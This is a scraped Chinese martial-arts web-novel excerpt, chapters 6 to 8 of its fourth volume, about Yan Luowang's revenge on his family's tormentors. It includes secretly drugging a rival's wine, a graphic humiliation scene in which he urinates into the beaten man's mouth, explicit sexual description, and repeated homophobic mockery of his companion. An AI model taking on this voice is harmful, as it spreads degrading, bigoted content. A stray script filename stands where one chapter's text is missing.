热门搜索


[武侠]在妓院里出生的男人(全本)-13

  

第四集 木兰之章 第六章 仇报之始


颜罗王推开门,看见里面的草龙正抱着一个妓女在调戏,那妓女已经被他扯落上衣,此时露着嫩白的上半身和两个奶子,草龙则埋脸在妓女的胸脯吻咬,颜罗王推开门的时候,他已经察觉到了,却没有从妓女的两只圆大的奶子里抬起脸,颜罗王走进来,笑道:“哟快枪手,你倒是玩得挺开心的,借你怀里的女人的一个奶子给我如何?”

说罢,他已经走到草龙面前,伸手抓住妓女的一个奶,却抚摸得很温柔,草龙怒吼道:“谁敢打扰大爷的兴致?”

草龙抬脸,看见了颜罗王,惊得几乎从椅子上跌下来,而颜罗王笑容未变,给了妓女一块碎银,对妓女道:“姐姐你先出去吧,我有点事要和这位大爷谈,谈完之后,你再过来侍候他。”

妓女收了钱,在颜罗王的脸上“啵”了一下,娇笑道:“奴家想侍候你,你长得真叫人心动,奴家免费也愿意侍候你。”

颜罗王笑道:“那我下次就找你好了,呵呵,可不可以先出去?要不,你再亲一下?”

妓女果然又在颜罗王的脸上印了一个红唇,才整理了衣衫,摇摆着屁股儿走出去了,出去之前,还不忘抛了两记媚眼给颜罗王,颜罗王色眼发光,一个飞吻过去,逗得妓女心花大开,然后他转身面对着草龙,道:“想不到我颜罗王还能活着站在你面前吧?我是否说过,如若我不死,我便是你们的恶梦?如果以前没说过,我现在补回这句话。草龙,我颜罗王本与你们无怨无仇,你们为何一定要赶尽杀绝?我那个时候也只是一个孩子,你们曾经不给我一丝机会,此刻我也不给你半点良心。”

草龙惊慌过后,恢复平静,苍白的脸孔也见了一点血色,他道:“老子还以为是谁呢,原来是从妓女烂缝钻出来的黑鬼,你想成为我们的恶梦,还早一千年!我们以为你已经到地下去给那个真阎罗提鞋了,不料还跑出来跟老子抢女人的奶子。黑鬼,有什么遗言尽管说,你说完我就送你到地狱去认祖宗,你妈的,把老子的兴致全扫光了,真他妈的扫把星转世。”

“啪”一声,颜罗王的左手迅猛地扇在草龙的脸上,以草龙的武功修为,竟然躲不过他的一个耳光,且被这记耳光打得滚落地板上,打落了草龙两粒门牙,草龙被打得昏头转向,好一会才清醒过来,急忙运劲,却发觉一使劲,全身筋脉剧痛,所有的真气无法贯穿,根本提不起劲,他醒悟自己着了颜罗王的道儿,心头慌乱,顾不得擦嘴上的血,立即爬了起来,道:“颜罗王,你待怎么样?”

“怎么?刚才不是很英雄吗?为何现在变了熊样了?起来啊,把老子送到地狱去,你怎么忘了你的话了?”颜罗王一步步地逼进,草龙一寸寸地后退。

“黑鬼,你到底给我吃了什么药?”草龙慌问道。

颜罗王笑道:“不要怕嘛,我给你吃的药可是很珍贵的,有个名字叫‘百日锁功粉’,粉红色的,可是融入酒里,就变成无色无味的了,你一喝了那酒,全身的功力便会被锁住,运功的时候不但没有用,且会很痛苦。但是,过了百日之后,你还是响当当的草龙,只是现在,你他妈连一条草虫都不是!”

草龙看见颜罗王的笑,越是心怯,他多少了解颜罗王,知道颜罗王这家伙越是笑得灿烂的时候越是狠,想当年他就能笑着把自己的命也赌上的,在地狱之血造成的痛苦之下还能笑得出来的小家伙,他这两年每想到都有一种害怕。他但愿永远不要见到颜罗王,可终究是遇到了,就像当年他所预料的,若黑家伙还活着,他的恶梦就要开始了,果真如此。

草龙想安静下来,他平生便是鬼点子很多的人,当初要颜罗王当街钻他的裤裆就是他的得意之作,可他此时却无法平静,因为他不知道颜罗王要如何对付他,他此次来扬州是与铁龙一起向木兰花主祝贺的,从木兰居出来,铁龙钻别的窖子去了,他偏喜欢会宾楼的高档,于是和铁龙分开,明日再会合。

不料自己倒霉,偏偏遇见了颜罗王,中了颜罗王的阴招。

“你到底要对我怎么样?”草龙歇斯底里地嘶叫,他猜不透颜罗王,不知颜罗王会怎般地折磨自己,因为他亦知道,颜罗王的狠性是十足的。

“放心,不会叫你这么死的,怎么能够让你的恶梦这么快结束呢?你们以前也说过,把我折磨够了,才叫我死。我死不了,也就把你们曾经教我的,用在你们身上,你说可好,啊?”颜罗王弯下腰来,给草龙一种压迫感,那双笑意浓浓的眼睛,亮黑中闪着阴森,草龙打了个寒颤,此刻的颜罗王已经不是当年的少年儿,高大的身躯,证明颜罗王长成了一个强大的男人。

草龙看着他结实如筋铁的胸膛上绞结的剑痕和红色图腾,心中畏怯更浓,他蓦然醒觉,颜罗王犹如地狱里来的黑鬼,全身散发着鬼森阴寒的味道,他从来没想过当年那个小孩子会长成这般可怕的人。颜罗王,与阎罗王同音,这三个字,像三把鬼刀,刺入他的灵魂,叫他的灵魂也抽搐。

“当初强奸我二姐的人,你也是其中之一吧,啊?”颜罗王托起草龙惊恐的脸,突然又全力扇了他一巴掌,喝道:“你们这群畜生,我二姐哪点惹你们了?你们要那样对她?二姐好不容易接受我,也对我好了,你们却叫她死得那般惨,你们还算人吗?啊,算人吗?”

颜罗王朝坐靠在墙上的草龙踹了一脚,几乎把草龙的胸骨也踹断,草龙喘不过气来,颜罗王道:“你们这般畜生怎般对待我们,我今日也会加倍地还给你们,别怪我,要怪就怪当初你们没把我的小命了结了,我颜罗王从妓女的胯间爬出来,我的母亲活得不像人,我颜罗王也觉得自己不像个人,所以,我和你们这群畜生也是没有什么差别的,要知道,对着畜生的时候,也得把自己变成一个更畜生的畜生。草龙——”

颜罗王喝吼——“把你的嘴张开,当初水龙给我尿喝,我今日也叫你知道喝尿是什么滋味,你妈的,你要记着,老子是地狱里跑出来的阎罗王,不是一个人!”

草龙想起当初水龙尿给颜罗王喝,知道颜罗王要自己张嘴的目的,他紧闭着嘴不张开,颜罗王的左拳突然擂轰在他的嘴上,打得他满嘴血牙。

颜罗王虽不能把体内的真气挥发出来,但其本身有着强大的力量,那双铁劈比一般的人要强壮,这一拳,击得草龙几乎晕死过去,草龙抵不住痛苦,只得张嘴,颜罗王解了裤带,掏出胯间家伙,朝着地上仰起脸找草龙那张着的血嘴就撒出一泡尿,那尿直射入草龙的血嘴,颜罗王疯狂地大笑,此时,恰巧紫玉夫和喜娘进来,把厢房的情景全看在眼底,也把颜罗王那软的非凡的话儿看得一清二楚,紫玉夫惊呼一声,背转脸去,而喜娘亦脸面绯红,颜罗王那软软的话儿叫她无法适从。

虽软着,却见粗巨。

颜罗王抬眼看了两人一眼,低首继续看着自己的尿往草龙的嘴里射,直至拉尽一泡尿,他抽抽裤头,看着地上的软软的草龙,无情地问道:“滋味如何?我这是童子尿,可治百病,便宜你了,改天我把狗尿牛尿猪尿也一齐弄来给你尝尝,相信你一定会喜欢的。”

“够了!”喜娘和紫玉夫同时喝喊,两人却未敢转身,他们不知道颜罗王有没有把那羞人的话儿收到裤裆里,于是不敢转身。

颜罗王道:“你们两个,一个是妓院老板,一个是男人,还怕看老子的东西吗?转过身来吧,老子已经把宝贝收好,不会便宜你们的眼睛。”

两人转身,紫玉夫立即骂道:“颜罗王,你刚才到底在做什么?”

颜罗王平静地道:“不做什么,只是以前他们让我喝尿,我现在也让他喝回我的尿,我是感谢他哩。我不是说过,让你别过来吗?你这手下怎么敢不听主人的话?”

喜娘冷言道:“你办完你的事没有?如果办完了,就请离开,永远也别踏入我会宾楼。”

“还没。”

紫玉夫喝道:“你还要干什么?你刚才那些根本不是人做的事情,你还像个人吗?”

颜罗王的拇指又举到嘴边,转脸对着草龙,吻着他的拇指背,道:“你听好,我的确不像人!但是,这些家伙,害得我家破人亡,把我的二姐轮奸至死,杀了我二娘和三姐姐,还把我和三娘往死迫,他们曾经欲在我的眼前轮奸我三娘你知道么?”

喜娘的脸色微变,而紫玉夫的眼神也渐显悲愤,他道:“你说,他是害你全家的恶人?”

颜罗王转首,两人看见他的黑亮的冷铁般的眼睛流落了眼泪,他说过不哭的,可是某种时候总还是控制不了眼泪。

“他是蜀山九蛇中的草龙,而我这全家就是被蜀山九蛇害的,我在报仇的时候,我不是人,请你别在一旁唠叨,否则我控制不了自己。”

“你说他是蜀山九龙之一?”紫玉夫颤着声音问道。

颜罗王道:“我不会认错人的。”

紫玉夫垂首,轻言道:“既然如此,你要怎么就怎么吧,可你——,不能够再这样解开裤子就乱撒尿,至少也得把门关上。”

颜罗王道:“老子的家伙雄壮得很,没什么见不得人的,在大街上老子也敢撒尿给他喝,你他妈的像个男人样好不好?没见过男人怕看到男人的话儿的,还有你,你开妓院的,你羞什么?”

喜娘的脸又红了,她道:“呸!雄什么壮,没用的东西,还敢招摇?”

颜罗王忽然又笑,道:“这样才像妓院的老板娘嘛!对不起,弄脏了你的地方,回头我给你清扫一下,我现在要带这家伙到大街上,还他一样东西,你也知道的,他欠我什么。”

喜娘突然道:“你不要在大街上乱来,这扬州城是木兰居的天下,且今日是木兰居的大喜日子,你别忘了你与扬州俯台的仇恨。”

“你在担心我吗?我颜罗王可不是怕死之人,我这命是捡来的,烂命一条,什么也不怕,只图过痛快。我欠人的,我总会还;别人欠我的,也总要讨回。但是,你为何要担心我?难道你爱上我了?”颜罗王的吻着拇指,笑眼盯喜娘,喜娘莫名的心儿乱跳,她惊异自己的感觉,因为她的生命中不曾因哪个男人而心跳加速,或许她已经看透了男人,可是,对这颜罗王,她忽然迷糊了。

“估计你也不会爱上男人!”颜罗王补了句,俯身抓住半死不活的草龙,拖着他就往外走,紫玉夫默默地跟在颜罗王后面,喜娘喊道:“黑屁股,你别把我的地方弄脏,别把我的客人都吓走了。”

“回头我向你道歉,你给准备十个女孩,我回头还要继续玩,我付了钱的,却还没有玩。”颜罗王拖着草龙,直拖出妓院,引得一群男女跟在后面,指指点点说说闹闹的,就是没有人敢靠得太近,颜罗王拖草龙到大街上,放开不死不活的草龙,低头道:“快枪手,你知道我带你出来要你干什么吧?如果你聪明的,我就今日就放过你。”

满脸是血的草龙抬起脸来,喘着气道:“你说话算话?”

“怎么?你也怕我像当初你一样说话不算话?你放心,我颜罗王不是你,我颜罗王说到做到,你也知道我的性格。”

草龙咬牙狠道:“你今日放了我,可能就是你的恶梦的开始!”

颜罗王不以为然地笑道:“我哪天不做恶梦的?我还怕什么恶梦?想活命就别啰嗦1他高站着,微撑开双腿,草龙挣扎着爬起,缓缓地从他的胯下爬过去,他仰望着天,眼泪从他的虎眼里流了出来:三娘啊,我们曾经受到的侮辱,终于取回了一点,可为何我竟然没有快乐的感觉啊?

围观的人觉得莫名其妙,很多人对颜罗王的行为不满,一些扬州居民也认出了颜罗王就是两年前跟在刘俯台后面作威作福的黑屁股,不知是何人从人群里掷了一件物品过来砸在颜罗王的头上,接着便有许多不明物体砸往颜罗王,民众可不管颜罗王是对是错,他曾在扬州城的声誉就极坏,此时又把某人打得半残,还叫人从他的胯间爬过,不知多少人看了觉得愤怒。

颜罗王扛着斧头,民众又不敢靠近,只能远远地躲着掷东西,颜罗王任由他们掷,直到草龙从他的胯下爬过,他才狂吼出来:“谁敢再掷一件东西过来,老子劈了他!”

草龙坐在颜罗王背后,看着颜罗王高大的背影,道:“我可以走了吗?”

颜罗没有回头,只是淡然道:“草龙,你这家伙真幸福,当初你这样对我的时候,没有任何一个人愿意出面,现在却有许多人为你鸣不平,在他们眼中,似乎你是好人,我是坏人。哈哈,我颜罗王是很坏,可你也绝不是好人,只是他们不知道你是谁,所以才给你一点同情。而我颜罗王,不需要同情。他们为你鸣不平,只证明了一点,现在的你,在我颜罗王面前,是弱者一个,你逃不出我的手掌心的。滚吧,无论你滚得多远,你还是在我的恶梦里,我颜罗王的斧头不砍落你的脑袋之前,都叫你生不如死!”

草龙急忙爬起来,摇摇晃晃地挤出人群,颜罗王擦了擦眼泪,放下巨斧,把身挺得笔直,朝人群吼道:“刚才谁拿东西掷老子的,是不是很想揍我?出来,老子和你们厮打!”

人群渐渐散去,没有人出来敢与颜罗王叫阵,颜罗王重新扛起斧头,晒道:“一群没种的家伙,只会乱给同情心。”他踏步又走向会宾楼,紫玉夫道:“你真的还要去妓院?”

颜罗王道:“我说过要帮喜娘清理的,那地方我弄脏了,得给她打扫一下。”

“你不是去继续玩妓女的吗?”

“你说捉迷藏?”

“嗯,捉迷藏。”

颜罗王擦去了眼泪,早已经露出笑容,他道:“我不捉了,我怕到时又捉到一个男人,莫名其妙地就吻上了,那够我恶心两辈子的。”

“你还是尽早离开吧,你这一闹,刚才肯定传到刘贤达耳里,且这草龙是向木兰居祝贺来的,这今日在木兰居的地盘里把他给折磨了,木兰居也不会放过你。还有,把你的衣服扣起来,别老是露着你的胸膛,以为自己很强壮吗?”一直在旁观看的喜娘说道,她曾经看过草龙折磨颜罗王母子,如今又看着颜罗王折磨草龙,这事情的始末,在场的人中,只有她一清二楚,她觉得,颜罗王并不过分。

颜罗王笑道:“你不要我清理了?”

喜娘道:“自然有仆人清理,你是否做仆人太久了,还想到我会宾楼里做龟奴?”

“我呸!老子才不当龟奴,老子要开间天下第一的妓院,比你的会宾楼还要响当当的。”颜罗王说着,从街道另一方传来吆喝声,喜娘道:“刘俯台和木兰居的人快到了,你是否还要在这里继续说大话?”

“绝不是大话!喜娘,你帮我保管一下我的行理,我过会儿来取。”说罢,他向着杂声传来的相反方向直奔,越奔越快,最后简直像一阵黑旋风,果然是没良心的男人都跑得好快,娘啊,你为何要我练那种东西,你到死还护着没良心的爹,却为何要带着我离他而去?到底是爹对不起你还是你对不起爹?我忽然,不懂了。
第四集 木兰之章 第七章 小镇故事(上)
1064683.js
第四集 木兰之章 第七章 小镇故事(下)
“给你打扫啊!你鬼叫什么?我没有你那种爱好!”颜罗王不管紫玉夫的反对,继续解裤子,紫玉夫背着脸,颜罗王褪下长裤,全身只着一条小短裤,他随手取过一根木柴,把长裤束扎在木柴上,然后开始搬运屋里的干柴,搬出一大块空地来,他便喊道︰“你站起来,别挡着我干活。”

他拿起扎有他的长裤的木柴,就打扫起来,不一会把一片空地打扫干净,然后把自己的长衣摊开往地上铺好,道︰“你睡我衣服吧,不会弄脏你公子哥的。”

“那你睡哪里?”

“我当然是睡地上了,难不成要我和你睡一起吗?”门都没有,颜罗王急忙把扎在木柴上的长裤解开,就穿了起来,紫玉夫道︰“你那裤子那么脏了,不必穿了吧?我、我不在乎——”

“你想得倒美,叫我不穿裤子!你不在乎,我可在乎得紧,若你半夜趴过来,把我鸡奸了我找谁申冤啊?”颜罗王的眼楮都翻白了,他的话惹得紫玉夫恼,紫玉夫别脸过去不愿看他,他也走到另一端,隔得紫玉夫远远的,顺便把几根木柴放在两人之间,成“楚汉之界”,他道︰“紫玉夫,我跟你说清楚,半夜若睡过界,我饶不了你!手过界就砍手,脚过界就砍脚,头过界就砍头,若你的***敢过界,我就把它剁成肉酱,哼!跟你同处一屋,得小心着你这断袖狂。”

“白痴。”紫玉夫骂道,但从声音中可以听出喜悦之情,也有着一点点的嗔怨,颜罗王最听不得紫玉夫的这种语气,因为在他听来这是极为不正常的,他就不明白自己为何让你这陌生人跟在身边,说紫玉夫是他颜罗王的手下,可是很多时候都是他颜罗王在服侍他公子哥的,可他竟然狠不下心把紫玉夫赶离身旁?他颜罗王是否真的有点白痴了?

他想,白痴也罢,只要紫玉夫不妨碍他,他可以让这公子哥不明不白地跟着自己;这公子哥并不算坏人,很多时候,他觉得自己在紫玉夫面前,倒成了坏人了。只是紫玉夫那似乎是喜欢男人的怪癖,让他什么时候都提妨着自己的屁眼儿,恨不得在自己的屁眼外围打上一块铁片——要知道,自己可不是紫玉夫的对手,虽然极不想承认这一点,可自己除了逃跑一流挥斧迅猛之外,就真的没绝招了。

他担忧着,一手捂着屁眼处,渐渐入睡。

颜罗王入睡后,紫玉夫爬了过来——莫非真的要鸡奸颜罗王?

紫玉夫在颜罗王身旁停住了,看着熟睡中的颜罗王,低语道︰“虽然你变了很多,可有一点你还没变,你还是像小时候一般爱胡闹,只是你已经不是在娘怀里撒娇的小男孩,你承诺过不哭,可你的眼泪,有时候,终是控制不住。你今日在折磨草龙的时候流泪了,你恨他们,是否也在恨自己呢?”

“我知道,你曾经被他们伤害,那段日子你很痛苦。可是,当你有力量伤害他们的时候,你仍然很痛苦。你是铁了心地要复仇,可你的心毕竟善良着,无论你在伤害他们的时候多么地坚定、阴狠,你的心仍然会痛。你的笑不代表你是欢乐的,你的眼楮也不曾表露你的心。”

“你学会了把真心隐藏,把笑挂在眼泪之上!在你含笑的脸膛,你似乎有一颗冷酷的心,而你的冷酷之下,隐藏着长久的痛苦,是——因为我们吗?”

“与其说是你害了我们,倒不如说是我们害了你的。你有着与地狱之王同音的名号,但你却不是地狱来的使者,你本来是不会伤害人的,你本该是一块温润的玉,一块黑色的明玉,也许不是最好看的,可却很珍贵。”

“可你说要成地狱来的阎罗王,是因为我们吗?你也要去伤害别人了,一直被我们欺负的爱哭的你,曾几何时,变得不哭,哪怕受多大的痛,咬着眼泪你也不哼一声,我、我是后来才知道原因的。你也许觉得欠我们太多,可我们欠你更多。你放心吧,我在你身边,他们是伤害不了你的,我保护着你。”

“你从小到大,都让我们欺负,在我们面前,你都是弱者,你就再做一次弱者;我知道你现在很想做一个真正的男子汉,保护我们,可是你的力量还不行。等以后,一切都了结了,我让你欺负一辈子可好?”

“唔嗯三姐——”颜罗王翻了个身,喊了一句,惊得紫玉夫全身僵硬,却发觉颜罗王双眼仍然闭着,他看了一会,明白颜罗王只是梦呓,他的心头大松,竟“嗯”了一句,然后爬回颜罗王铺在地上的长衣上躺,许久之后才睡去。

紫玉夫睡不多久,就听到异响,睁开双眼,发觉颜罗王竟把熄了的油灯又点着了,正赤着胳膊坐在地上抡着他的巨斧劈柴,斧落如风,他劈得很专注,紫玉夫不敢出声阻止他,站起来推开门,天已经微亮了,他走出来看见客栈以及街巷近处的房屋都亮起了灯,隐约听到一些咒骂,渐渐的,骂声越来越多,无非都是骂哪个没良心的混蛋三更半夜地吵人,紫玉夫听到那些骂声,竟然笑了出来,想到屋里的颜罗王正在埋头劈柴,劈哩叭啦的真个把半个镇的人都从睡梦中吵醒了。

客栈的门忽然开了,那伙计从客栈里走出来,看见紫玉夫,惊异道︰“他真的在里面劈柴了?”

紫玉夫笑道︰“我记得他有说过帮你劈柴的,我也是被他吵醒的。”

“唉。”伙计叹着气走入柴房,看见埋头狠劈的颜罗王,看了一阵,又折转出来,与柴玉夫道︰“算了,叫他劈吧,反正谁也不知道他是我收容的,到时我就说是你们自己住进来的,也怪不到我头上,事后你跟他说声,俺谢谢他了。俺还没见过他这样的老好人,好的——有点过分了。”

年轻的小伙子像久经风桑的老头一样摇着头离开了,紫玉夫站在门外,其中有一些武林人过来欲揪颜罗王出来揍上一顿,被紫玉夫当即赶走,里面的颜罗王也不知是否了解外面的事情,反正他是头也没有回过一次,只顾着劈柴,管他外面谩骂连天喊打喊杀叫苦满黎明,他都装作不知道。
第四集 木兰之章 第八章 木兰之心(上)
颜罗王是被客栈的老板给赶出来的,那老板要把责任追究在伙计身上,颜罗王扛着巨斧就朝伙计走过去,朝伙计喝吼,你小子昨晚为何不开门给我害我睡柴房?伙计似乎吓得一屁股坐在地上,可伙计的心里却说了句“大哥谢谢你让我保住了饭碗”,客栈老板见颜罗王凶神恶煞的还扛着一把半百斤重的雕纹巨斧,也吓得不敢找颜罗王算账,只祈祷颜罗王快快地离开从此不要再回来,颜罗王却走到他面前,喝道︰“给银子!”

他伸出左手要钱,客栈老板惊愣,颜罗王说,奶奶的,老子给你劈了半天的柴,你想让我白干活吗?不给银子,我就劈开你的脑袋!他右手举了举斧头,客栈老板吓得脸面一阵青一阵白的,慌忙掏出一锭银子塞给颜罗王之后就跑到客栈里去了,颜罗王提起地上的伙计,一边大骂着要教训伙计一边拉扯着伙计走,客栈老板在门后看着不敢出来,心里庆幸有小伙计帮忙挡着这煞神,而颜罗王把伙计拉到街巷转角处,放开了伙计,把刚才客栈老板给的银子塞给了伙计,说,这钱是你应得的,你收着,那家伙也榨了你不少血汗钱了。

伙计要磕头谢颜罗王,却被颜罗王阻止了,他对伙计说,男人不该轻易地向别人磕头,男人的头,应该是顶着天,不是磕触地。

伙计点点头以示赞同,眼楮却开始流泪,颜罗王说声男人也不应该随便地流泪,便转身离伙计而去,伙计在后面喊道︰“汉子叫什么名字?”

颜罗王。

“阎罗王?”伙计疑惑了,可是一想,这黑得魅力十足的铜铁一般的汉子,的确有几分像传说里的阎罗王,于是,他一辈子都记得阎罗王是有两个之多的,一个在地狱,一个在人间。

你要记住,我不是好人,世间也没有多少好人。颜罗王高举斧头,喝喊着大步向前,紫玉夫跟在他的背后,却回头朝那伙计微微一笑,那伙计忽然呆了,这一天里,他竟然看见︰铜铁般的汉子和花朵般美的男人。

颜罗王开心地走着路,紫玉夫默默地跟着他,看着他那高大的背影,以及他身上肮脏的衣服,感慨万千,不懂什么时候,这个家伙又会变成大色狼在大街上胡乱非礼良家妇女,但刚才那一刻,他是不错的。

“你现在要去哪里?”紫玉夫打破沉默,自然也把颜罗王的心情打断了。

“当然是进扬州城里了。”

紫玉夫劝道︰“现在扬州城一定在封锁中,全力地搜捕你,你若这般走进入——”

“我怕他刘贤达吗?当初他就被我吓得尿裤子,他是我老爷的时候,我什么都听他的,叫我杀人放火我都干,他不认我颜罗王了,我也不认他刘贤达!”

“你是不是觉得刚才的自己很像个英雄?所以想继续英雄下去?可你也不秤秤,你有多少斤两,对付几个虾兵也许你会把人吓倒,可是对付木兰居的人,你可能连想逃都逃不掉,你还是找个地方劈几天柴吧,我觉得你很有劈柴的天分。”

紫玉夫一点面子也不给颜罗王,把颜罗王半天积蓄出来的好心情破坏了,他道︰“我不和手下争论。”

“你是没理,不是你不想争!别以为你脚步下功夫很厉害,踫到木兰居的人,你也跑不掉,根本就不会什么轻功身法,靠着摸女人后逃跑练出来的脚下功夫,再快也不顶用,除非你又准备了什么迷药毒药之类的。”

“我哪有那么多毒药?刚才那些也是别人送我的,都叫我用完了。”颜罗王没好气地道。

紫玉夫道︰“别人送的?是谁送你的?”

颜罗王掉转头,朝紫玉夫挤出一个暧昧的笑容,道︰“是一个很漂亮粉可爱的女孩送我的——”

“是谁?你跟她是什么关系?”紫玉夫粗鲁地打断颜罗王的话,声音却变得尖细,似乎是极为生气,颜罗王背转身去继续走路,紫玉夫从背后就擂了一拳他的后脑勺,嘶叫道︰“你到底说不说?”

颜罗王捂着后脑,却像当年李清玉踢他屁股一样,他这次也不回头,只是怪声怪气地道︰“你打得我有点痛,我决定不说了。”

紫玉夫几乎被他气得抓狂,又想擂打他,他的斧头侧滑,挡在脑后,以为紫玉夫不会继续打过来,偏偏紫玉夫不知从何来的闷气,那一拳真的擂在斧背上,另一边的斧背就撞在他的脑壳,生出很大的一声“咚”,他向前急走两步,回头举斧待砍,却看见紫玉夫双眼含泪,像是气极而哭,他心头气劲一泄,斧柄跌落肩膀,无奈地道︰“她叫凌思静,我认的一个妹妹。”

其实他在心里还加了一句︰也是我的小老婆。可是这句话他不敢说出来,要是这个有着怪癖的紫玉夫听了,不知又会生多大的火,他忽然好想离紫玉夫远远的。

“你就没有妹妹了吗?干嘛那般喜欢认妹妹?”紫玉夫不满地道,但语气比刚才轻了许多。

颜罗王道︰“我是没有妹妹,我只有三个姐姐。”他这句话,明显不认罗薇为大姐,但他承认了罗喜——那个可悲的少女。

紫玉夫啐道︰“你还记得你有姐姐啊?”

“我——”颜罗王咬出一个字,脸色变得如冷铁,左手挽起右手臂,指着右臂上的齿痕,一字一字地道︰“至——死——不——忘!”

紫玉夫突然哭了起来,就要软倒在颜罗王的怀抱,颜罗王紧张地跳开,吼道︰“别踫我,离我远点,恶心死了,世界上没有女人我宁愿找母猪也不找个男人来抱。”

紫玉夫听得一愣,继而笑了,擦擦眼泪,道︰“你一身臭汗,衣服又脏,找个地方洗一下吧。”

“流汗流血的才叫汉子,你这公子哥不懂!”颜罗王损了紫玉夫一通,转身前走,走了四五步,他又道︰“我的包裹在会宾楼,洗了身,也没换的衣。”

“我去取回来吧,你去了不方便,你说你要在哪里洗?”

“这地方我还记得,镇南树林里有条小河,那里水清,我去哪里捉几尾鱼儿。”颜罗王亦不想太为难紫玉夫,他知道自己现在也不适合进入扬州城,因此让“手下”去代劳。

紫玉夫道︰“那你就在那里等我,我进城里找地方沐浴了,就去取我们的包袱回来,你不要到处跑,若你敢趁我不在的时候,偷偷溜了,我找到你之后,就——就——就那个了你!”

“什、什么那个了我?你说明白一点。”颜罗王再度转身盯着紫玉夫,却发觉紫玉夫的眼楮好奇怪,但他刚才听了紫玉夫的话,他的心里更加的难受,十二分地期待紫玉夫把话说得明白,好叫他计划行程——他可是想趁此机会甩开紫玉夫的哦。

“就是——那个,鸡奸了你!”紫玉夫垂着脸,费了好大的劲才说出来。

颜罗王惊得几乎拿不稳斧头,指着紫玉夫好久说不出话,这般“你、你、你——”,好一阵才把气顺过来,开始把话说完整︰“你尽管去,我在那里等你,一定不会逃的。”

“嘻嘻!”

紫玉夫这么掩嘴一笑,颜罗王全身的鸡皮疙瘩都冒了出来,感到自己的心被什么沙子给磨着,那一麻一冷实在不是滋味,心想︰这世界最可怕的就是长着男人身体生了个女人心的怪物。
第四集 木兰之章 第八章 木兰之心(中)
紫玉夫开心地笑着,离颜罗王远去,颜罗王看着他的背影越走越远,心下一松,整个人像泄气的软蛇跌倒在地,不料紫玉夫远远的一回首,他看得神经又一紧,只听紫玉夫尖着声音喊道︰“你洗完之后,最好穿上你的脏衣服,我回来看见光身的强壮的男体,会很冲动的,你知道我在说什么吧?”

颜罗王提起全身最后的气,朝紫玉夫喊道︰“我知道,我会在我的屁股上钉上一块铁板的。”

紫玉夫走得不见了影子,颜罗王还坐在大道之上,心里直叫苦︰我真是出师不利啊,怎么就踫到这么个人?偏偏打不过他,说做我的手下,到头来我竟成了他的俘虏,哪天被他吃了还保不住贞操,若有一天我胜过他,我定要找来一百条母狗,把他往死里折磨,他不是喜欢公的吗?我偏就要找母的给他,叫他生不如死!

对,就叫他生不如死,可去哪里找那么多母狗呢?让老母狗去生,嘿嘿,一胎少少也四五只,全都是母的,然后又生,嘿嘿,然后——然后我还是到河里去泡泡吧,一身汗的太男人味了,可不能在那家伙面前表现得太男人味,那变态专喜欢男人味的,以后,我也擦点胭脂好了,扮得像女人,看他还喜不喜欢?

颜罗王一路上思谋着对策,不知不觉就走到了镇南的小河旁,看着清淙淙的水流,想到恐怖的紫玉夫,冷汗直飙,心想得赶快洗完,然后去向哪个姨娘借一点胭脂过来涂一涂,再折转回来在这里等紫玉夫,他颜罗王不怕死不怕痛,就怕被男人给鸡奸了。

他把斧头放下,抛甩掉黑色长衣,弯腰就除长裤,然后朝四周看看,哈没人哟,他也就把短裤也褪了,“扑通”一下,跳入河里,这河倒是挺深的,河中央足以把一百八十五公分的颜罗王全部浸过,他先是在浅处擦洗身体,不知哪条鱼儿游过来撞了一下他的软软的话儿,他蓦然想起要捉鱼,也就把紫玉夫的事情放到在一边,开始在河里潜水捉鱼,河水很清,可以看得到河里游的鱼儿,可是颜罗王抡着斧头劈柴的时候是能人,捉起鱼来却是菜得要命,捉来抓去的竟捕不到一只小虾。

就这样追着鱼儿不知游了多久,一时浮上来,一时又潜下去,完全忘记了紫玉夫的吩咐,他的身架子是条十足的汉子,心性也被生活历练得很老成,只是实际上他也就十七八岁而已,某种意义上讲,他还是个大孩子,此时让河水把他对人世的警惕都冲掉了,只剩下好玩的心态。于是在河里玩得不亦乐乎。

亦在此时,河岸上游走过来一群人,走在前面的赫然是兰心和燕中,其后跟着二三十个木兰居的门徒,只听燕中道︰“师妹,你为何一定要找到颜罗王?”

兰心道︰“他在我大喜之日,竟然敢在扬州城闹事,我虽然很讨厌草龙那畜生,可他也不能选在昨日复仇,为了木兰居的颜面,非得惩罚他不可!否则以后不知有多少人到扬州城来闹事,扬州是木兰居的地盘,我既然已经成为木兰花主,就必须维护木兰居的尊严,如果不把这闹事的小贼捉起来,在武林黑白两道面前把他弄残,我岂非成为木兰居有史以来最无能的花主?”

燕中叹道︰“师妹,这其实也怪不得颜罗王,他当初受草龙之辱,昨日还给草龙也是情理之中的事。”

“可他为何偏要选在我大喜之日?你知道的,他这是故意的,那黑家伙很恨我,恨我在他胸膛上划了一剑——我当时又不是故意的,他怎么可以记恨的那么久?”兰心没有一点认错的知觉,反而觉得颜罗王记恨于她是不对的,颜罗王应该这般吧,让她的剑刺破他的心脏,也谢谢她大小姐让他早脱离人世的苦海。

燕中道︰“师妹不要为那件事烦心了,颜罗王也没真的死了,我觉得他的胸膛上有道剑痕,反而性感了许多,变成个粗犷有魅力的男人了,只是他长得矮了些。但他其实是条真汉子,我燕中很佩服像他那样的人,当初小小年纪又没有半点武学,就敢与刘俯台及蜀山九蛇对抗,一把劈柴的钝斧毫不犹豫地砍向大山的那种力量感,亦是我所不及的。”

“呸呸呸!当初若非我发一句话,他早就死了,还什么力量哩?”

“可你,为何要救他?”

“我——”兰心顿住了,眼楮不敢望任何人,直直地看着清澈的河水,缓缓道︰“我是为了他的那个三娘,他那三娘太可怜了。”

燕中也不继续追问,换了话题道︰“师妹,我们追查了半天没结果,在这热天里倒弄得一身是汗,我们还是回去吧?即使我们不找他,你姑父也不会放过他的,何必让我们木兰居亲自出马呢?还要身为花主的你劳碌奔波?”

兰心举起袖子嗅了嗅,眉头一皱,道︰“可恶的黑家伙,竟然害我出汗!”她看了看四周的木草,以及林木之中的流淌的河水,就转脸对燕中道︰“师兄,这里经常有人出入吗?”

燕中想了想,道︰“这里离镇较远,且有林木,一般很少人到这里,我想颜罗王也不会来这里的,若非你执着要往这里走,我是选择别的方向的。听那客栈老板所说,今晨在他柴房里劈柴的黑汉子应该是颜罗王不错,可是,按他的描述,颜罗王不可能那般高大的。”

兰心点点头,他也同意燕中的说法︰黑家伙怎么可能长得那般高大呢?瞧那没种的家伙,应该再矮一些才好。

“嗯,师兄,你们先回镇上等我,我随后就到,可以吗?”

燕中疑惑地道︰“师妹为何不跟我们一起回去?”

